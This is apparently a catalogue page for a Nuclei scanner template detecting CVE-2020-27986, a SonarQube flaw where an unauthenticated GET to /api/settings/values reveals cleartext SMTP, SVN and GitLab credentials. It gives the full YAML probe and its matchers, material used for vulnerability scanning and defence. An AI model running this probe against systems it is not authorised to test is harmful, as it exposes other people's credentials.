CVE-2020-27986: SonarQube - Authentication Bypass
- Template: CVE-2020-27986
- Name: SonarQube - Authentication Bypass
- Description: SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP, SVN, and GitLab credentials via the api/settings/values URI.
- Impact: Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to sensitive information.
- Remediation: Reportedly, the vendor's position for SMTP and SVN is "it is the administrator's responsibility to configure it."
- Severity: high
- Authors: pikpikcu
- Tags: cve, cve2020, sonarqube, sonarsource, vkev, vuln
- References: https://csl.com.co/sonarqube-auditando-al-auditor-parte-i/, https://nvd.nist.gov/vuln/detail/CVE-2020-27866, https://github.com/SexyBeast233/SecBooks, https://github.com/SouthWind0/southwind0.github.io, https://github.com/Z0fhack/Goby_POC
- Cves: CVE-2020-27986
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2020/CVE-2020-27986.yaml
- Digest: 4a0a004730450221009f557e0dc0d6b1fcb24a325ba79b63de879f2ab03c35c795ef727c37bf6e12c1022077e9d76e3f4650498dd1a68224bd475f4a1ddf7a59b6256d40e931e1725a24da
- Created at: 2021-01-30T13:54:19Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 2124
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-27986.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-306
- Cvss score: 7.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.15966
- Epss percentile: 0.9698
- Cpe: cpe:2.3:a:sonarsource:sonarqube:8.4.2.36762:*:*:*:*:*:*:*
Metadata
- Max-request: 1
- Product: sonarqube
- Vendor: sonarsource
Products
| Product | Indexed | Url |
|---|---|---|
| sonarsource:sonarqube | yes | /v1/products/sonarsource/sonarqube |
Labels
- Name: SonarQube - Information Disclosure
- Impact: Attackers can retrieve cleartext credentials, leading to potential further exploitation of SMTP, SVN, and GitLab services.
- Remediation: Update to the latest version of SonarQube where this issue is fixed.
- Vulnerability impact: information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2020-27986
- Not known: vulnerability type, requirements
```yaml
id: CVE-2020-27986
info:
name: SonarQube - Authentication Bypass
author: pikpikcu
severity: high
description: |
SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP,
SVN, and GitLab credentials via the api/settings/values URI.
impact: |
Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to sensitive information.
remediation: Reportedly, the vendor's position for SMTP and SVN is "it is the administrator's responsibility to configure it."
reference:
- https://csl.com.co/sonarqube-auditando-al-auditor-parte-i/
- https://nvd.nist.gov/vuln/detail/CVE-2020-27866
- https://github.com/SexyBeast233/SecBooks
- https://github.com/SouthWind0/southwind0.github.io
- https://github.com/Z0fhack/Goby_POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-27986
cwe-id: CWE-306
epss-score: 0.15966
epss-percentile: 0.9698
cpe: cpe:2.3:a:sonarsource:sonarqube:8.4.2.36762:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: sonarsource
product: sonarqube
tags: cve,cve2020,sonarqube,sonarsource,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/api/settings/values"
matchers-condition: and
matchers:
- type: word
part: body
words:
- email.smtp_host.secured
- email.smtp_password.secured
- email.smtp_port.secured
- email.smtp_username.secured
condition: and
- type: status
status:
- 200
digest: 4a0a004730450221009f557e0dc0d6b1fcb24a325ba79b63de879f2ab03c35c795ef727c37bf6e12c1022077e9d76e3f4650498dd1a68224bd475f4a1ddf7a59b6256d40e931e1725a24da:922c64590222798bb761d5b6d8e72950
```